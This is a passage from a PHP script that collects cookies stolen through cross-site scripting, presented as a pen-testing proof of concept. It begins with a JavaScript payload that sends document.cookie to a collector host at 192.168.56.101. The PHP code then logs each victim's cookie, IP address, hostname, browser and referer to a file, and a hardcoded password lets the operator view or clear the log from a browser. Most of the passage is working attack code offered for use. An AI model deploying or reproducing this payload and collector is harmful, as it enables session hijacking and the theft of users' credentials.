new Image().src="http://192.168.56.101/i?c="+document.cookie;
#EXAMPLE 2
To create the log for the first time:
touch log.txt #From path of i.php noted in settings
chmod 655 log.txt
To reset the log from a web browser:
http://192.168.56.101/?reset=su6ad4tH
To display the log form the browser:
http://192.168.56.101/?display=su6ad4tH
There is an extra variable 'e' that can receive extra info from the command line if need be.
Do not use this without proper permission from all users or the appropriate
authority. This is intended for pen testing, and as a XSS Proof Of Concept.
You are solely responsible for any use of this script/page. If you couldn't
have coded this yourself, don't use it.
*/
#Settings
$log = 'logs/info.txt'; //It is good idea to place this out of the webroot ('../wwwlog/log.txt')
$page_name = '/i.php'; //Used in 404 Page
$password = 'su6ad4tH'; //Used to clear the log and display output via web. (Null Password Disables This Feature)
#Get Cookie
$cookie = $_GET['c'];
#Get extra info
$extra = $_GET['e'];
#Get Broswer Type
$browser = $_SERVER['HTTP_USER_AGENT'];
#Get Refering Agent
$refer = $_SERVER['HTTP_REFERER'];
#Get IP
if (getenv(HTTP_X_FORWARDED_FOR)){
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
} else {
$ip = $_SERVER['REMOTE_ADDR'];
}
#Get Hostname
$hostname = gethostbyaddr($ip);
#Create Timestamp
$timestamp = date("Y:m:d:H:i:s");
#Write Output
$file_handle = fopen($log, 'a');
if($file_handle){
$output = "TIME: " . $timestamp . "\n";
if($ip) { $output = $output . "IP: " . $ip . "\n"; }
if($hostname) { $output = $output . "HOST: " . $hostname . "\n"; }
if($browser) { $output = $output . "BROWSER: " . $browser . "\n"; }
if($refer) { $output = $output . "REFERER: " . $refer . "\n"; }
if($cookie) { $output = $output . "COOKIE: " . $cookie . "\n"; }
if($extra) { $output = $output . "EXTRA: " . $extra . "\n"; }
$output=$output . "\n";
if($_GET['display'] != $password || $_GET['display'] == null){
fwrite($file_handle, $output);
}
fclose($file_handle);
}
//If The Page is set to Reset....
if($_GET['reset'] != null && $_GET['reset'] == $password){
$fp = fopen($log, 'w');
if($fp){
fclose($fp);
echo "Page ResetPage Reset
";
} else { echo "Page Was Not Able To Be Reset